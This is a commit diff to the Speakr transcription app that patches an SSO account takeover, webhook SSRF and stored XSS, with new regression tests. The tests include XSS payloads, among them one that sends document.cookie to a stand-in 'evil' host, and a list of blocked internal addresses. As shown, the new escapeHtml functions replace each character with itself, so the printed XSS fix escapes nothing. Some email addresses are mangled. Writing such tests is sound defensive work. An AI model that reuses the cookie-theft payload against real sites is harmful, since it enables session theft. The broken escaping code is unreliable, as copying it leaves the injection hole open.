Speakr is a personal, self-hosted web application designed for transcribing audio recordings
Python
Fix three reported security advisories: SSO account-takeover secure-by-default verified-email (GHSA-w4q5-3526-j82j), webhook SSRF via connect-time peer-IP pinning (GHSA-2m89-mxcv-gv93), and stored XSS via tag color with hex validation plus quote-escaping (GHSA-pp32-69wg-97h3)
Murtaza Nasirf7bf758949bc
diff --git a/src/api/tags.py b/src/api/tags.pyindex ddab5a8b..ae1a5eff 100644--- a/src/api/tags.py+++ b/src/api/tags.py@@ -32,6 +32,27 @@ ENABLE_INTERNAL_SHARING = os.environ.get('ENABLE_INTERNAL_SHARING', 'false').lowUSE_ASR_ENDPOINT = os.environ.get('USE_ASR_ENDPOINT', 'false').lower() == 'true'ENABLE_AUTO_PROCESSING = os.environ.get('ENABLE_AUTO_PROCESSING', 'false').lower() == 'true'+# Tag colors are stored verbatim and interpolated into HTML style attributes on+# the account page. Restrict them to strict hex values so a value cannot break+# out of the attribute and inject an event handler (GHSA-pp32-69wg-97h3). The+# UI color picker only ever sends hex; a direct JSON request could otherwise+# supply arbitrary text.+_HEX_COLOR_RE = re.compile(r'^#(?:[0-9a-fA-F]{3}|[0-9a-fA-F]{6}|[0-9a-fA-F]{8})$')+_DEFAULT_TAG_COLOR = '#3B82F6'+++def _validate_tag_color(color):+ """Validate an incoming tag color.++ Returns (ok, value). When ok is False, value is an error string. A missing+ (None) color is allowed and normalized to the default by the caller.+ """+ if color is None:+ return True, None+ if isinstance(color, str) and _HEX_COLOR_RE.match(color.strip()):+ return True, color.strip()+ return False, 'Color must be a hex value like #3B82F6'+def _sanitize_folder_name(name):"""Convert a tag name to a filesystem-safe folder name."""@@ -160,6 +181,10 @@ def create_tag():if not data or not data.get('name'):return jsonify({'error': 'Tag name is required'}), 400+ color_ok, color_val = _validate_tag_color(data.get('color'))+ if not color_ok:+ return jsonify({'error': color_val}), 400+group_id = data.get('group_id')# If creating a group tag, verify user is admin of that group@@ -220,7 +245,7 @@ def create_tag():name=data['name'],user_id=current_user.id,group_id=group_id,- color=data.get('color', '#3B82F6'),+ color=color_val or _DEFAULT_TAG_COLOR,custom_prompt=data.get('custom_prompt'),default_language=data.get('default_language'),default_min_speakers=data.get('default_min_speakers'),@@ -316,7 +341,10 @@ def update_tag(tag_id):tag.group_id = new_group_idif 'color' in data:- tag.color = data['color']+ color_ok, color_val = _validate_tag_color(data['color'])+ if not color_ok:+ return jsonify({'error': color_val}), 400+ tag.color = color_val or _DEFAULT_TAG_COLORif 'custom_prompt' in data:tag.custom_prompt = data['custom_prompt']if 'default_language' in data:@@ -474,6 +502,10 @@ def create_group_tag(group_id):if not name:return jsonify({'error': 'Tag name is required'}), 400+ color_ok, color_val = _validate_tag_color(data.get('color'))+ if not color_ok:+ return jsonify({'error': color_val}), 400+# Check if a group tag with this name already exists for this teamexisting_tag = Tag.query.filter_by(name=name,@@ -504,7 +536,7 @@ def create_group_tag(group_id):name=name,user_id=current_user.id, # Creatorgroup_id=group_id,- color=data.get('color', '#3B82F6'),+ color=color_val or _DEFAULT_TAG_COLOR,custom_prompt=data.get('custom_prompt'),default_language=data.get('default_language'),default_min_speakers=data.get('default_min_speakers'),diff --git a/src/auth/sso.py b/src/auth/sso.pyindex e6e3eacd..09480011 100644--- a/src/auth/sso.py+++ b/src/auth/sso.py@@ -45,10 +45,12 @@ def get_sso_config() -> Dict[str, Optional[str]]:"disable_password_login": _str_to_bool(os.environ.get("SSO_DISABLE_PASSWORD_LOGIN", "false")),# When true, an SSO login whose email claim is not marked verified is# refused before that email is used to link to (or provision) a local- # account. Default false to preserve existing behaviour; enable it when- # your IdP reliably sends email_verified, to prevent a malicious or- # misconfigured IdP from taking over an account by asserting its email.- "require_verified_email": _str_to_bool(os.environ.get("SSO_REQUIRE_VERIFIED_EMAIL", "false")),+ # account. Secure by default (true): otherwise a malicious or+ # misconfigured IdP — or a public IdP where a user can set an arbitrary+ # email claim — could take over a local account by asserting its email+ # (GHSA-w4q5-3526-j82j). Set SSO_REQUIRE_VERIFIED_EMAIL=false ONLY for a+ # trusted IdP that does not send an email_verified claim.+ "require_verified_email": _str_to_bool(os.environ.get("SSO_REQUIRE_VERIFIED_EMAIL", "true")),}@@ -73,6 +75,13 @@ def init_sso_client(app) -> Optional[OAuth]:return _oauthcfg = get_sso_config()+ if not cfg["require_verified_email"]:+ app.logger.warning(+ "SSO_REQUIRE_VERIFIED_EMAIL=false: SSO logins are accepted even when the "+ "IdP does not mark the email claim as verified. Use this only with a "+ "trusted IdP that omits email_verified; otherwise a malicious or "+ "misconfigured IdP can take over local accounts by asserting their email."+ )oauth = OAuth(app)oauth.register(name="sso",diff --git a/src/services/webhook_dispatch.py b/src/services/webhook_dispatch.pyindex 70918f5d..ef978f7e 100644--- a/src/services/webhook_dispatch.py+++ b/src/services/webhook_dispatch.py@@ -43,6 +43,10 @@ from typing import Iterablefrom urllib.parse import urlparseimport requests+from requests.adapters import HTTPAdapter+from urllib3.poolmanager import PoolManager+from urllib3.connection import HTTPConnection, HTTPSConnection+from urllib3.connectionpool import HTTPConnectionPool, HTTPSConnectionPoolfrom src.database import dbfrom src.models import Webhook, WebhookDelivery, WEBHOOK_EVENT_TYPES@@ -140,6 +144,128 @@ def _delay_for_attempt(attempt_count: int) -> int:# ---- URL safety / SSRF guard ----------------------------------------------+def _is_blocked_ip(ip_str) -> bool:+ """True if ``ip_str`` is a private/loopback/link-local/reserved/etc. address.++ Fails closed: an unparseable value is treated as blocked. Shared by the+ URL validation (below) and the connect-time peer check (SSRFGuardAdapter)+ so the two can never disagree.+ """+ try:+ ip = ipaddress.ip_address(ip_str)+ except ValueError:+ return True+ return (+ ip.is_loopback or ip.is_private or ip.is_link_local+ or ip.is_reserved or ip.is_multicast or ip.is_unspecified+ or (ip.version == 6 and ip.is_site_local)+ )+++class _WebhookSSRFError(Exception):+ """Raised at connect time when a webhook's real peer IP is a blocked address."""+++def _guard_peer(conn) -> None:+ """Abort the connection if its actual peer IP is blocked.++ Runs after ``connect()`` (TCP + TLS) but before any HTTP request bytes are+ sent, so a rebound host is dropped before it can receive the payload or leak+ a response. This closes the DNS-rebinding TOCTOU window that a separate+ validate-then-``requests.post`` (two independent DNS lookups) leaves open+ (GHSA-2m89-mxcv-gv93).+ """+ try:+ peer_ip = conn.sock.getpeername()[0]+ except Exception as e: # pragma: no cover - defensive+ _quiet_close(conn)+ raise _WebhookSSRFError(f'could not determine peer address: {e}')+ if _is_blocked_ip(peer_ip):+ _quiet_close(conn)+ raise _WebhookSSRFError(f'connection resolved to a blocked address ({peer_ip})')+++def _quiet_close(conn) -> None:+ try:+ conn.close()+ except Exception: # pragma: no cover+ pass+++class _GuardedHTTPConnection(HTTPConnection):+ def connect(self):+ super().connect()+ _guard_peer(self)+++class _GuardedHTTPSConnection(HTTPSConnection):+ def connect(self):+ super().connect()+ _guard_peer(self)+++class _GuardedHTTPConnectionPool(HTTPConnectionPool):+ ConnectionCls = _GuardedHTTPConnection+++class _GuardedHTTPSConnectionPool(HTTPSConnectionPool):+ ConnectionCls = _GuardedHTTPSConnection+++class _SSRFGuardPoolManager(PoolManager):+ def __init__(self, *args, **kwargs):+ super().__init__(*args, **kwargs)+ self.pool_classes_by_scheme = {+ 'http': _GuardedHTTPConnectionPool,+ 'https': _GuardedHTTPSConnectionPool,+ }+++class SSRFGuardAdapter(HTTPAdapter):+ """requests adapter that verifies the socket's real peer IP after connect+ and aborts on a private/loopback/etc. address (see _guard_peer)."""++ def init_poolmanager(self, connections, maxsize, block=False, **pool_kwargs):+ self.poolmanager = _SSRFGuardPoolManager(+ num_pools=connections, maxsize=maxsize, block=block, **pool_kwargs+ )+++def ssrf_guarded_session() -> requests.Session:+ """A requests Session whose connections are peer-IP-verified. Retries are+ disabled so a blocked connection fails fast rather than re-resolving."""+ session = requests.Session()+ adapter = SSRFGuardAdapter(max_retries=0)+ session.mount('http://', adapter)+ session.mount('https://', adapter)+ return session+++def _host_is_allowlisted(url: str) -> bool:+ """True if the URL's host matches WEBHOOK_INTRANET_HOST_ALLOWLIST — an+ operator opt-in that intentionally permits an internal host, so the+ connect-time peer guard is relaxed for it (matching is_url_safe_for_webhook)."""+ try:+ host = (urlparse(url).hostname or '').lower()+ except Exception:+ return False+ allowlist = _intranet_host_allowlist()+ return bool(host and allowlist and allowlist.search(host))+++def _http_post(url, **kwargs):+ """The single outbound-POST seam for webhook delivery.++ Public hosts go through the SSRF-guard session, which verifies the real+ connected peer IP and aborts on a private/loopback address (closing the+ DNS-rebinding TOCTOU window). Explicitly allowlisted intranet hosts use the+ plain client by operator choice. Tests patch this function.+ """+ if _host_is_allowlisted(url):+ return requests.post(url, **kwargs)+ return ssrf_guarded_session().post(url, **kwargs)++def is_url_safe_for_webhook(url: str, allow_http: bool = False) -> tuple:"""Validate a webhook URL.@@ -185,15 +311,10 @@ def is_url_safe_for_webhook(url: str, allow_http: bool = False) -> tuple:for _af, _stype, _proto, _name, sockaddr in addrinfos:ip_str = sockaddr[0]try:- ip = ipaddress.ip_address(ip_str)+ ipaddress.ip_address(ip_str)except ValueError:continue- is_private_ip = (- ip.is_loopback or ip.is_private or ip.is_link_local- or ip.is_reserved or ip.is_multicast- or (ip.version == 6 and ip.is_site_local)- )- if is_private_ip and not allowlist_matches:+ if _is_blocked_ip(ip_str) and not allowlist_matches:return False, (f'URL resolves to a private/loopback address ({ip_str}); ''set WEBHOOK_INTRANET_HOST_ALLOWLIST to permit this host '@@ -322,8 +443,12 @@ def _post_delivery(delivery: WebhookDelivery, webhook: Webhook) -> tuple:'Speakr-Event': delivery.event_type,'Speakr-Timestamp': datetime.utcnow().isoformat() + 'Z',}+ # Delivery goes through _http_post, which verifies the ACTUAL connected peer+ # IP (not a fresh, separate DNS lookup) and aborts on a private/loopback+ # address — closing the rebinding window left by the resolve-and-block check+ # above. Allowlisted intranet hosts are exempt by operator choice.try:- resp = requests.post(+ resp = _http_post(webhook.url,data=body_bytes,headers=headers,@@ -332,8 +457,14 @@ def _post_delivery(delivery: WebhookDelivery, webhook: Webhook) -> tuple:)preview = (resp.text or '')[:2000]return resp.status_code, preview, None+ except _WebhookSSRFError as e:+ return None, None, f'blocked at delivery: {e}'[:500]except requests.RequestException as e:- return None, None, str(e)[:500]+ # urllib3 may surface the connect-time abort wrapped as a ConnectionError.+ msg = str(e)+ if 'blocked address' in msg or 'peer address' in msg:+ return None, None, f'blocked at delivery: {msg}'[:500]+ return None, None, msg[:500]def _is_retryable_status(status_code) -> bool:diff --git a/templates/account.html b/templates/account.htmlindex f07d2d93..5e4af25a 100644--- a/templates/account.html+++ b/templates/account.html@@ -4282,9 +4282,18 @@ curl "https://your-speakr-instance.com/api/recordings?token=YOUR_TOKEN_HERE"</co}function escapeHtml(text) {- const div = document.createElement('div');- div.textContent = text;- return div.innerHTML;+ // Escapes the quote characters too, not just <>&, because these+ // values are also interpolated into double-quoted HTML+ // attributes (tag color/name) — a quote would otherwise break+ // out of the attribute and inject an event handler+ // (GHSA-pp32-69wg-97h3).+ if (text == null) return '';+ return String(text)+ .replace(/&/g, '&')+ .replace(/</g, '<')+ .replace(/>/g, '>')+ .replace(/"/g, '"')+ .replace(/'/g, ''');}// Backend INSTANT timestamps are naive UTC (no zone); append 'Z' so@@ -4720,9 +4729,17 @@ curl "https://your-speakr-instance.com/api/recordings?token=YOUR_TOKEN_HERE"</co// Utility function to escape HTMLfunction escapeHtml(text) {- const div = document.createElement('div');- div.textContent = text;- return div.innerHTML;+ // Escapes quotes too (see the note on the other escapeHtml in this+ // file): tag color/name render into double-quoted HTML attributes,+ // so an unescaped quote is an attribute-breakout XSS+ // (GHSA-pp32-69wg-97h3).+ if (text == null) return '';+ return String(text)+ .replace(/&/g, '&')+ .replace(/</g, '<')+ .replace(/>/g, '>')+ .replace(/"/g, '"')+ .replace(/'/g, ''');}// Toast notification functiondiff --git a/tests/test_security_advisory_fixes.py b/tests/test_security_advisory_fixes.pynew file mode 100644index 00000000..ee1ade94--- /dev/null+++ b/tests/test_security_advisory_fixes.py@@ -0,0 +1,154 @@+"""Regression tests for three security-advisory fixes.++- GHSA-w4q5-3526-j82j: SSO account takeover via unverified email (insecure default)+- GHSA-2m89-mxcv-gv93: Webhook SSRF via DNS rebinding (TOCTOU)+- GHSA-pp32-69wg-97h3: Stored XSS via group tag color (HTML attribute breakout)+"""++import http.server+import os+import sys+import threading+import uuid++import pytest++sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))++from src.app import app, db, bcrypt+from src.models import User++app.config['WTF_CSRF_ENABLED'] = False+++def _mk_user():+ u = User(username=f'u_{uuid.uuid4().hex[:8]}', email=f'{uuid.uuid4().hex[:8]}@ex.com',+ password=bcrypt.generate_password_hash('Passw0rd!').decode(), email_verified=True)+ db.session.add(u)+ db.session.commit()+ return u+++def _login(client, user_id):+ with client.session_transaction() as sess:+ sess['_user_id'] = str(user_id)+ sess['_fresh'] = True+++# =========================================================================+# GHSA-w4q5-3526-j82j — SSO verified-email default+# =========================================================================++def test_sso_require_verified_email_defaults_true(monkeypatch):+ monkeypatch.delenv('SSO_REQUIRE_VERIFIED_EMAIL', raising=False)+ from src.auth.sso import get_sso_config+ assert get_sso_config()['require_verified_email'] is True+++def test_sso_require_verified_email_can_be_opted_out(monkeypatch):+ from src.auth.sso import get_sso_config+ monkeypatch.setenv('SSO_REQUIRE_VERIFIED_EMAIL', 'false')+ assert get_sso_config()['require_verified_email'] is False+ monkeypatch.setenv('SSO_REQUIRE_VERIFIED_EMAIL', 'true')+ assert get_sso_config()['require_verified_email'] is True+++# =========================================================================+# GHSA-pp32-69wg-97h3 — tag color validation (stored XSS)+# =========================================================================++def test_validate_tag_color_unit():+ from src.api.tags import _validate_tag_color+ for good in ['#3B82F6', '#abc', '#ABCDEF', '#12345678', None]:+ ok, _ = _validate_tag_color(good)+ assert ok, good+ for bad in ['red', 'red" onmouseover=alert(1)', '#xyz', '#12', 'javascript:alert(1)',+ '#3B82F6; x', ' #3B82F6" onclick="x']:+ ok, _ = _validate_tag_color(bad)+ assert not ok, bad+++def test_create_tag_rejects_attribute_breakout_color():+ with app.app_context():+ u = _mk_user()+ client = app.test_client()+ _login(client, u.id)+ payload = {'name': 'Malicious', 'color': 'red" onmouseover="fetch(`//evil?c=`+document.cookie)'}+ r = client.post('/api/tags', json=payload)+ assert r.status_code == 400+ assert 'hex' in r.get_json().get('error', '').lower()+++def test_create_tag_accepts_valid_hex_color():+ with app.app_context():+ u = _mk_user()+ client = app.test_client()+ _login(client, u.id)+ r = client.post('/api/tags', json={'name': f't_{uuid.uuid4().hex[:6]}', 'color': '#0af'})+ assert r.status_code in (200, 201), r.get_data(as_text=True)+++def test_update_tag_rejects_bad_color():+ with app.app_context():+ u = _mk_user()+ client = app.test_client()+ _login(client, u.id)+ created = client.post('/api/tags', json={'name': f't_{uuid.uuid4().hex[:6]}', 'color': '#123456'})+ tag_id = created.get_json()['tag']['id'] if 'tag' in (created.get_json() or {}) else created.get_json().get('id')+ r = client.put(f'/api/tags/{tag_id}', json={'color': 'blue" autofocus onfocus=alert(1)'})+ assert r.status_code == 400+++# =========================================================================+# GHSA-2m89-mxcv-gv93 — webhook SSRF (connect-time peer guard)+# =========================================================================++def test_is_blocked_ip_classifies_addresses():+ from src.services.webhook_dispatch import _is_blocked_ip+ for blocked in ['127.0.0.1', '169.254.169.254', '10.0.0.5', '192.168.1.1',+ '172.16.0.1', '::1', '0.0.0.0', 'fe80::1', 'not-an-ip']:+ assert _is_blocked_ip(blocked) is True, blocked+ for allowed in ['8.8.8.8', '1.1.1.1', '2606:4700:4700::1111']:+ assert _is_blocked_ip(allowed) is False, allowed+++def test_ssrf_guard_blocks_loopback_before_sending_body():+ """The core rebinding defense: a connection whose real peer is 127.0.0.1 is+ aborted after connect but before the request body is sent, so the local+ server never receives the payload."""+ received = []++ class Handler(http.server.BaseHTTPRequestHandler):+ def do_POST(self):+ received.append(self.rfile.read(int(self.headers.get('Content-Length', 0))))+ self.send_response(200)+ self.end_headers()++ def log_message(self, *args):+ pass++ server = http.server.HTTPServer(('127.0.0.1', 0), Handler)+ port = server.server_address[1]+ thread = threading.Thread(target=server.serve_forever, daemon=True)+ thread.start()+ try:+ from src.services.webhook_dispatch import ssrf_guarded_session+ session = ssrf_guarded_session()+ with pytest.raises(Exception) as exc:+ session.post(f'http://127.0.0.1:{port}/hook', data=b'secret-payload', timeout=5)+ # The abort reason should mention the blocked peer.+ assert 'blocked address' in str(exc.value) or '127.0.0.1' in str(exc.value)+ # And the server must never have received the payload.+ assert received == []+ finally:+ server.shutdown()+++def test_host_allowlist_relaxes_guard(monkeypatch):+ from src.services import webhook_dispatch as wd+ monkeypatch.setenv('WEBHOOK_INTRANET_HOST_ALLOWLIST', r'^internal\.example$')+ assert wd._host_is_allowlisted('http://internal.example/hook') is True+ assert wd._host_is_allowlisted('http://internal.example.evil.com/hook') is False+ assert wd._host_is_allowlisted('http://8.8.8.8/hook') is False+ monkeypatch.delenv('WEBHOOK_INTRANET_HOST_ALLOWLIST', raising=False)+ assert wd._host_is_allowlisted('http://internal.example/hook') is Falsediff --git a/tests/test_security_audit_fixes.py b/tests/test_security_audit_fixes.pyindex cfed5ec6..4e58e976 100644--- a/tests/test_security_audit_fixes.py+++ b/tests/test_security_audit_fixes.py@@ -185,7 +185,7 @@ def test_webhook_delivery_blocks_private_ip_at_send_time():delivery.event_type = "recording.completed"with app.app_context():- with patch("src.services.webhook_dispatch.requests.post") as mock_post:+ with patch("src.services.webhook_dispatch._http_post") as mock_post:status, preview, error = webhook_dispatch._post_delivery(delivery, wh)assert mock_post.call_count == 0, "POST was sent to a private-IP target"assert status is None and preview is None@@ -206,7 +206,7 @@ def test_webhook_delivery_allows_public_host():delivery.event_type = "recording.completed"with app.app_context():- with patch("src.services.webhook_dispatch.requests.post",+ with patch("src.services.webhook_dispatch._http_post",return_value=MagicMock(status_code=204, text="")) as mock_post:status, preview, error = webhook_dispatch._post_delivery(delivery, wh)# example.com resolves publicly; if DNS is unavailable the guarddiff --git a/tests/test_sso.py b/tests/test_sso.pyindex 03bc5a43..86d56003 100644--- a/tests/test_sso.py+++ b/tests/test_sso.py@@ -312,7 +312,7 @@ def test_create_new_user_from_claims(cleanup_users):SSO_DEFAULT_USERNAME_CLAIM="preferred_username",SSO_DEFAULT_NAME_CLAIM="name", SSO_AUTO_REGISTER="true"):user = sso.create_or_update_sso_user({- "sub": sub, "email": email,+ "sub": sub, "email": email, "email_verified": True,"preferred_username": preferred, "name": "Alice Example",})_track(cleanup_users, user)@@ -330,11 +330,11 @@ def test_second_call_same_subject_updates_not_duplicates(cleanup_users):sub = "sub-" + uuid.uuid4().hexemail = "dup" + uuid.uuid4().hex[:8] + "@example.com"with env(SSO_ALLOWED_DOMAINS=None, SSO_DEFAULT_NAME_CLAIM="name"):- u1 = sso.create_or_update_sso_user({"sub": sub, "email": email, "name": "First"})+ u1 = sso.create_or_update_sso_user({"sub": sub, "email": email, "email_verified": True, "name": "First"})_track(cleanup_users, u1)first_id = u1.id# Second call, same subject, changed name → updates the same row.- u2 = sso.create_or_update_sso_user({"sub": sub, "email": email, "name": "Second"})+ u2 = sso.create_or_update_sso_user({"sub": sub, "email": email, "email_verified": True, "name": "Second"})_track(cleanup_users, u2)assert u2.id == first_idassert u2.name == "Second"@@ -350,7 +350,7 @@ def test_existing_email_user_gets_sso_linked(cleanup_users):sub = "sub-" + uuid.uuid4().hexcleanup_users["subjects"].add(sub)with env(SSO_ALLOWED_DOMAINS=None, SSO_PROVIDER_NAME="Keycloak"):- linked = sso.create_or_update_sso_user({"sub": sub, "email": email, "name": "Linked"})+ linked = sso.create_or_update_sso_user({"sub": sub, "email": email, "email_verified": True, "name": "Linked"})assert linked.id == existing_idassert linked.sso_subject == subassert linked.sso_provider == "Keycloak"@@ -395,7 +395,7 @@ def test_username_claim_is_respected(cleanup_users):upn = "upn" + uuid.uuid4().hex[:6]with env(SSO_ALLOWED_DOMAINS=None, SSO_DEFAULT_USERNAME_CLAIM="upn"):user = sso.create_or_update_sso_user({- "sub": sub, "email": "[email protected]",+ "sub": sub, "email": "[email protected]", "email_verified": True,"upn": upn, "preferred_username": "should-not-be-used",})_track(cleanup_users, user)@@ -407,7 +407,7 @@ def test_username_falls_back_to_email_localpart(cleanup_users):local = "local" + uuid.uuid4().hex[:6]with env(SSO_ALLOWED_DOMAINS=None):# No username claim provided → use email local part.- user = sso.create_or_update_sso_user({"sub": sub, "email": f"{local}@example.com"})+ user = sso.create_or_update_sso_user({"sub": sub, "email": f"{local}@example.com", "email_verified": True})_track(cleanup_users, user)assert user.username == local[:20]@@ -422,7 +422,7 @@ def test_no_email_uses_placeholder(cleanup_users):# ----------------------------------------------------------------------------# SSO_REQUIRE_VERIFIED_EMAIL (opt-in; default off = backwards compatible)+# SSO_REQUIRE_VERIFIED_EMAIL (secure by default; opt out for a trusted IdP)# ---------------------------------------------------------------------------@pytest.mark.parametrize("value,expected", [@@ -434,18 +434,19 @@ def test_claim_is_truthy(value, expected):assert sso._claim_is_truthy(value) is expected-def test_require_verified_email_defaults_off_and_links_unverified(cleanup_users):- """Default (flag unset): an unverified/absent email_verified still links to- an existing-by-email account — the original behaviour, preserved."""+def test_require_verified_email_defaults_on_and_refuses_unverified(cleanup_users):+ """Secure default (flag unset = on): an SSO login with an absent/unverified+ email_verified claim is refused before it can link to an existing-by-email+ account, preventing takeover (GHSA-w4q5-3526-j82j)."""with env(SSO_ALLOWED_DOMAINS=None, SSO_REQUIRE_VERIFIED_EMAIL=None):existing = _mk_user(cleanup_users, email="[email protected]")assert existing.sso_subject is Nonesub = "sub-" + uuid.uuid4().hex[:10]- user = sso.create_or_update_sso_user({"sub": sub, "email": "[email protected]"})- _track(cleanup_users, user)- # Linked to the existing account despite no email_verified claim.- assert user.id == existing.id- assert user.sso_subject == sub+ with pytest.raises(PermissionError):+ sso.create_or_update_sso_user({"sub": sub, "email": "[email protected]"})+ # The existing account was NOT linked to the unverified SSO identity.+ db.session.refresh(existing)+ assert existing.sso_subject is Nonedef test_require_verified_email_on_rejects_unverified_link(cleanup_users):diff --git a/tests/test_webhooks.py b/tests/test_webhooks.pyindex e48e38da..4ddaffe6 100644--- a/tests/test_webhooks.py+++ b/tests/test_webhooks.py@@ -549,7 +549,7 @@ def test_end_to_end_signature_verifies_against_wire_bytes():captured['headers'] = kwargs.get('headers')return MagicMock(status_code=204, text='')- with patch('src.services.webhook_dispatch.requests.post', side_effect=fake_post):+ with patch('src.services.webhook_dispatch._http_post', side_effect=fake_post):run_dispatcher_pass()body = captured['body']@@ -675,7 +675,7 @@ def test_autopaused_webhook_resumes_on_successful_trial_delivery():d_id = d.id# Mock the outbound POST to succeed.- with patch('src.services.webhook_dispatch.requests.post') as mock_post:+ with patch('src.services.webhook_dispatch._http_post') as mock_post:mock_post.return_value = MagicMock(status_code=204, text='')run_dispatcher_pass()@@ -745,7 +745,7 @@ def test_dispatcher_post_does_not_follow_redirects():user = _make_user('wh_noredir')wh, d = _seed_pending(user.id)mock_resp = MagicMock(status_code=204, text='')- with patch('src.services.webhook_dispatch.requests.post', return_value=mock_resp) as post:+ with patch('src.services.webhook_dispatch._http_post', return_value=mock_resp) as post:run_dispatcher_pass()post.assert_called_once()assert post.call_args.kwargs.get('allow_redirects') is False@@ -878,7 +878,7 @@ def test_dispatcher_success_path_marks_delivered():wh, d = _seed_pending(user.id)mock_resp = MagicMock(status_code=204, text='')- with patch('src.services.webhook_dispatch.requests.post', return_value=mock_resp) as post:+ with patch('src.services.webhook_dispatch._http_post', return_value=mock_resp) as post:counters = run_dispatcher_pass()assert counters['attempted'] == 1assert counters['success'] == 1@@ -907,7 +907,7 @@ def test_dispatcher_retryable_failure_marks_failed_with_backoff():wh, d = _seed_pending(user.id)mock_resp = MagicMock(status_code=502, text='bad gateway')- with patch('src.services.webhook_dispatch.requests.post', return_value=mock_resp):+ with patch('src.services.webhook_dispatch._http_post', return_value=mock_resp):counters = run_dispatcher_pass()assert counters['attempted'] == 1assert counters['failed'] == 1@@ -930,7 +930,7 @@ def test_dispatcher_permanent_failure_on_4xx():wh, d = _seed_pending(user.id)mock_resp = MagicMock(status_code=400, text='bad request')- with patch('src.services.webhook_dispatch.requests.post', return_value=mock_resp):+ with patch('src.services.webhook_dispatch._http_post', return_value=mock_resp):counters = run_dispatcher_pass()assert counters['permanent_failure'] == 1@@ -957,7 +957,7 @@ def test_dispatcher_autopauses_after_threshold():# should auto-pause.mock_resp = MagicMock(status_code=410, text='gone') # 4xx permanentwith patch.dict(os.environ, {'WEBHOOK_AUTOPAUSE_FAILURES': '10'}):- with patch('src.services.webhook_dispatch.requests.post', return_value=mock_resp):+ with patch('src.services.webhook_dispatch._http_post', return_value=mock_resp):run_dispatcher_pass()wh_refreshed = db.session.get(Webhook, wh.id)